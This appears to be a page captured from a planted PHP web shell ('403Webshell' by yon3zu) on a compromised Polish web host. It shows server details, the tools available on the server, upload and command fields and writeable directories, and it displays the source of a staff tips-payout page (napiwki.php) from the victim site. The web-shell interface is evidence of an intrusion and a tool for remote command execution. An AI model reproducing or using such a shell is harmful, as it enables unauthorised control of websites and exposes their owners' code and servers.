403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/pracownik/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/pracownik/napiwki.php
<?php
declare(strict_types=1);
require_once dirname(__DIR__).'/includes/functions.php';
$user=require_staff_portal();
ensure_tips_schema();

if($_SERVER['REQUEST_METHOD']==='POST'){
    verify_csrf();
    try{
        $poolId=(int)($_POST['pool_id']??0);
        tip_pool_acknowledge_for_user($poolId,(int)$user['id'],(string)($_SERVER['REMOTE_ADDR']??''));
        flash('success','Potwierdzono odbiór.');
        redirect('/pracownik/napiwki.php');
    }catch(Throwable $e){
        flash('error',$e->getMessage());
        redirect('/pracownik/napiwki.php');
    }
}

$rows=tip_user_recent_rows((int)$user['id'],60);
render_staff_header('Moje napiwki','tips');
?>
<div class="staff-title"><div><h1>Moje napiwki</h1><p>Rozliczenia dzienne</p></div></div>
<section class="staff-section">
<?php if(!$rows): ?><div class="staff-empty">Nie masz jeszcze rozliczonych dni.</div><?php endif; ?>
<?php foreach($rows as $r): ?>
<article class="staff-tip">
    <div>
        <strong><?= e((new DateTimeImmutable($r['tip_date']))->format('d.m.Y')) ?></strong>
        <small><?= $r['status']==='open'?'W trakcie':($r['payout_status']==='paid'?(!empty($r['acknowledged_at'])?'Odebrane':'Wypłacono'):'Do wypłaty') ?></small>
    </div>
    <b><?= e(tip_money((float)$r['share_amount'])) ?></b>
    <?php if($r['payout_status']==='paid' && empty($r['acknowledged_at'])): ?>
        <form method="post"><?= csrf_field() ?><input type="hidden" name="pool_id" value="<?= (int)$r['pool_id'] ?>"><button>Potwierdzam odbiór</button></form>
    <?php elseif(!empty($r['acknowledged_at'])): ?>
        <span class="staff-ok">✓ odebrane</span>
    <?php endif; ?>
</article>
<?php endforeach; ?>
</section>
<?php render_staff_footer('tips'); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit